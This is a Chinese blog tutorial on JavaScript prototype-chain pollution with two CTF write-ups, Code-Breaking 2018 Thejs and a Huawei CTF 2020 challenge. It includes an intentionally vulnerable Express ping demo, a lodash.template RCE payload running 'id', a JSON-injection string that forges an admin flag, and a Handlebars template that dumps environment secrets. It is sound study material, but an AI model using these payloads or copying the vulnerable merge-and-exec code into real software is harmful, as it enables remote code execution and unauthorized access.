JS原型链污染

之前看P牛的文章似懂非懂,而后面遇到原型链污染的题又不是很会,不如趁着寒假重学一遍

prototype、__proto__、constructor

在JavaScript中,class关键词其实就是一个语法糖,而定义一个类,本质上就是定义函数

1
2
3
4
5
6
7
8
function test(){
this.func = () => console.log("Hello World")
}
obj = new test()
obj.func()
/* result:
Hello World
*/

但上面的类在每次实例化时都会执行一次this.b = () => console.log("Hello World"),即它是绑定于对象而非类中,如果我们想要它只执行一次,则需要使用 prototype

1
2
3
4
function test(){}
test.prototype.func = () => console.log("Hello World")
obj = new test()
obj.func()

prototype相当于test类的一个属性,所有以test类实例化的对象都具有这个类中的所有内容(变量、方法)

__proto__相当于对象的一个属性,指向实例化这个对象的类的prototype,test.prototype === obj.__proto__

constructor(了解)

constructor同prototype,相当于类的属性,始终指向创建当前对象的构造函数

test.prototype.constructor === test

obj.__proto__.constructor === test

img

原型与原型链

原型

任何对象都有一个原型对象,这个原型对象由对象的内置属性__proto__指向它的构造函数的prototype指向的对象,即任何对象都是由一个构造函数创建的

原型链

原型链的核心就是依赖对象__proto__的指向,当访问的属性在该对象不存在时,就会向上从该对象构造函数的prototype的进行查找,直至查找到Object时,就没有指向了。如果最终查找失败会返回undefined或报错

img

如何分析原型链

__proto__查找的实质为 prototype,所以只要我们找这个链条上的构造函数的prototype。其中Object.prototype是没有__proto__属性的,Object.prototype.__proto__ === null Object.prototype.prototype === undefined

eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
function Foo(){
this.name="Tom";
this.age=19;
}
var fn=new Foo();
console.log(fn.__proto__ == Foo.prototype)
console.log(fn.__proto__.__proto__ == Object.prototype)
console.log(fn.__proto__.__proto__.__proto__ == Object.prototype.__proto__)
/*
true
true
true
*/

(图源CSDN)

这里写图片描述

原型继承方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//1.直接替换原型对象 
function Person(name, age) {
this.name = name;
this.age = age;
}

var parent = {
sayHello : function() {
console.log("姓名:" + this.name);
}
}
var a = new Person()
console.log(a.__proto__)

Person.prototype = parent;
var p = new Person("张三", 50);
console.log(p.__proto__ === parent)


/*result
{}
true
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//2.混入式原型继承
console.log(".............混入式原型继承..............");
function Student(name, age) {
this.name = name;
this.age = age;
}
var parent2 = {
sayHello : function() {
console.log("方式2:原型继承之混入式加载成员");
}
}
for ( var k in parent2) {
Student.prototype[k] = parent2[k];
}
var p = new Student("张三", 50);
p.sayHello();

原型链污染

如前面所说,原型链污染的核心机制在于,当我们调用对象某一属性,它首先会从obj中寻找,如果没有找到,则会向上在obj.__proto__中寻找,如果仍未找到则会继续向上,从obj.__proto__.proto__查找,直到查找到元素或查找到Object类为止

简单修改一下上面直接替换原型对象的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function Person() {
this.age = "19";
}

function Father(){
this.name = "Father"
}

var a = new Person()
Person.prototype = new Father();
var b = new Person()

console.log(a.name)
console.log(b.name)

/*result
undefined
Father
*/

可见,a是修改Person类原型前的实例,而b是修改Person类原型后的实例,后面的b.name就已经能够通过原型链进行查找到值

再往后添加一点代码,加深理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function Person() {
this.age = "19";
}

function Father(){
this.name = "Father"
}

var a = new Person()
Person.prototype = new Father();
var b = new Person()


console.log(a.name)
console.log(b.name)

a.__proto__.__proto__.name = "test"
var c = {}
console.log(c.name)

b.__proto__.__proto__.__proto__.name = "test2"
console.log(c.name)

/*result
undefined
Father
test
test2
*/

我们通过继承链修改掉Obeject类的属性时,去实例化Obeject类,其对象也拥有了我们修改的属性

引用P神对原型链污染的定义

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。(影响的是在子类中不存在的属性)

小记

这是之前自己对原型链污染理解不到位而写出的一个失败的漏洞Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
const express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())

const util = {
isValidIp: function (e) {
return /^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/.test(e)
}
}

const merge= (target, source) => {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}


app.get('/', function (req, res) {
res.send('在线主机存活探测<br/>请post json数据——eg:{\"ip\":\"127.0.0.1\"}')
})

app.post('/', function (req, res) {
var target = {}
var source = JSON.parse(JSON.stringify(req.body))
merge(target, source)
if(util.isValidIp(target.ip)){
var IP = target.ip
}

try{
res.send(require('child_process').execSync("ping " + IP))
}catch (ex) {
res.send("The current IP does not exist")
}
})


var server = app.listen(8081, function () {
var host = '127.0.0.1'
var port = server.address().port
console.log("http://%s:%s", host, port)
});

本来想达到的效果是直接污染IP这个函数,结果发现就算IP没有被赋值(没有通过32行的if),但只要它被定义在了代码里,就不能对其进行污染,所以这里想要污染造成RCE,得将37行的IP改为一个不存在的变量,如test。或改为对象的属性,如target.ip.才能进行原型链污染+RCE

{ "__proto__": {"ip": "||whoami"}}

当然,改为一个不存在的变量会影响正常功能,故实际业务中基本不会这么写,那么就只有第二种,写成成员的属性。

而要想在本身不存在有用的可控变量的代码中发挥出原型链污染的威力,就只能找依赖库下手(如P神文章中的例题Code-Breaking 2018 Thejs

总结一下关键点

  • 键名可控
  • 能够解析json
  • 未被定义的变量/成员属性

前两点是原型链污染漏洞存在的必要条件,第三点是原型链污染所能造成后果

即在拥有原型链污染的前提下,寻找到能控制的变量并加以利用

一些例题

Code-Breaking 2018 Thejs

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})

return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}

res.render('index', {
language: data.language,
category: data.category
})
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

重要的代码在这一段

1
2
3
4
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}

将用户POST的数据存储进session,而这里用到的lodash.merge()就存在原型链污染

跟进后面的渲染lodash.template,分析其源码https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165

关键代码段如下:

1
2
3
4
5
6
7
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

显而易见,只要能控制到参数sourceURLsource就能实现RCE,而该参数在前面并没有做赋值,所以能够通过原型链污染控制它

最终payload

1
{"_proto_":{"sourceURL":"\u000areturn e => {for (vaar a in {}) {delete Object.prototype[a];}return global.process.mainModule.constructor._load('child_process').execSync('id')}\u000a//"}}

华为CTF2020-鸿蒙专场-华为HCIE的第一课

赛时没有做出来,赛后看Threezh1学长的WP复现的,TCL

js原型链污染

打开题目是个登录界面

image-20210212025702243

发现URL中有个?f=login.html,简单测试发现文件读取(没有直接读出flag),然后尝试读取出整个web目录,发现隐藏文件不能读取

,如.env这种

审计一下读出的web源码

先看一下登录界面的代码逻辑

routes/login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
module.exports = (app) => {

const path = require("path")
app.get('/', (req, res) => {
if (!req.query.f) {
if (req.session.isLogin === 1)
return res.redirect("/?f=calc.html");
else
return res.redirect("/?f=login.html");
}
let f = req.query.f
res.sendFile(path.join(__dirname + "/../views", f))
})

app.post('/', (req, res) => {
if (!req.body.username || typeof req.body.username !== 'string') {
req.status(403).end( "forbidden" )
return
}
req.session.name = req.body.username;
req.session.isLogin = 1;
res.redirect("/?f=calc.html")
})
}

在输入用户名后会将其存进session,然后跳转至clac.html

routes/clac.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
module.exports = (app) => {

const ip = require("ip");

const {checkip, checkmask} = require("./util")

app.post('/calc', (req, res) => {
res.set({"Content-Type" : "application/json;charset=utf-8"})

if (req.body.ip_1 === undefined
|| req.body.ip_2 === undefined
|| req.body.ip_3 === undefined
|| req.body.ip_4 === undefined
|| req.body.netmask === undefined ) {
return res.json( {
"code": -1
})
}

let user_ip = `${req.body.ip_1}.${req.body.ip_2}.${req.body.ip_3}.${req.body.ip_4}`
let netmask = req.body.netmask
if (!checkip(user_ip) || !checkmask(netmask))
return res.json( {
"code": -1
})

//calculate
let ipsubnet = ip.cidrSubnet(`${user_ip}/${netmask}`)
let result = {
"code" : 0,
"numofaddr" : `${ipsubnet.numHosts}`,
"snm" : ipsubnet.subnetMask,
"nwadr" : ipsubnet.networkAddress,
"firstadr" : ipsubnet.firstAddress,
"lastadr" : ipsubnet.lastAddress,
"bcast" : ipsubnet.networkAddress
}

return res.json(result)
})

}

就是一个障眼法,其使用到的函数和依赖库并无漏洞,然后看到最后的routes/admin.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
module.exports = (app, env) => {

const {htmlencode, replaceAll, md5} = require("./util")
const fs = require("fs")
const path = require("path")

app.get('/admin', (req, res) => {
let user
try {
user = JSON.parse(`{"name" : "${req.session.name}", "time" : "${Math.ceil(new Date().getTime() / 1000)}", "ip" : "${req.ip}"}`)
} catch (e) {
res.end("error")
return
}
let userinfo = {}
Object.keys(user).forEach((key) => {
if (key.trim() === "isAdmin")
userinfo[key] = 0
else userinfo[key] = user[key]
})

if (req.session.ip === '127.0.0.1')
userinfo.isAdmin = 1;

req.session.name = userinfo.name
req.session.time = userinfo.time
req.session.ip = userinfo.ip
req.session.isAdmin = userinfo.isAdmin

if (req.session.isAdmin !== 1) {
res.end("forbidden")
return;
}

res.render("admin", {"name":req.session.name})
})

app.post("/admin", async (req, res)=>{
if (!req.session.isAdmin || !req.body.code) {
res.status(403).end("forbidden")
return
}

let html = "name : {{name}}, time : {{time}}, ip : {{ip}} \ntips: {{env.banner}}<br><a href='/admin'>返回</a><br><br>\n\n" + fs.readFileSync(path.resolve(__dirname, "../views/calc.html"))
let list = ['secret', 'env', 'flag', 'if', 'unless', 'for', 'lookup', '[', ']', '@' ]
let code = req.body.code + ""
let padd = `<p class="t-big-margin no-margin-b flex-center">这里开发中...&nbsp; <a href="/admin" target="_blank">去开发</a></p>`

await list.forEach((black) => {
code = replaceAll(black, htmlencode(black), code)
})

html = html.replace(padd, code)
let filename = md5(html) + ".html"
let filepath = path.resolve(__dirname, "../views/users/"+filename)
if (fs.existsSync(filepath))
fs.unlinkSync(filepath)
fs.writeFile(filepath, html, err => {
if (err) {
res.end("error")
} else {
res.render("users/"+filename, {
"name" : req.session.name,
"time" : Math.ceil(new Date().getTime() / 1000),
"ip" : req.ip,
"env" : env.parsed
})
}
})

})

}

在第22行会根据我们请求的ip来判断是否为admin,而用户的ip信息是记录在第十行

1
user = JSON.parse(\`{"name" : "${req.session.name}", "time" : "${Math.ceil(new Date().getTime() / 1000)}", "ip" : "${req.ip}"}`)

这里使用了JSON.parse(),而req.session.name就是我们传入的name,后面还有一段

1
2
3
4
5
6
let userinfo = {}
Object.keys(user).forEach((key) => {
if (key.trim() === "isAdmin")
userinfo[key] = 0
else userinfo[key] = user[key]
})

相当于前面举例的merge函数,即这里满足原型链污染的条件

根据这里的代码逻辑,我们只需要污染一下isAdmin为 1 就可以伪造成admin了

最后前后闭合一下json字段构造payload:test","__proto__":{"isAdmin":1},"test":"

hbs模板注入

成功访问后台,是一个html代码编辑的页面,我们可以自己写下html代码POST/admin路由,而我们传入的html代码会经hbs模板渲染,而在网上可以找到hbs模板注入 Handlebars模板注入到RCE 0day

但题目用到的依赖为最新的版本,所以不能进行RCE,但我们的flag位于.env,所以我们能通过遍历输出环境变量的方式来得到flag

在官网看一下表达式的用法 传送门

image-20210213225407210

最终payload

1
{{#each this}}{{#each this}}{{this.toString}}{{/each}}{{/each}}

参考链接

js的原型和原型链

深入理解 JavaScript Prototype 污染攻击

华为HCIE的第一课WP-Threezh1’s blog

评论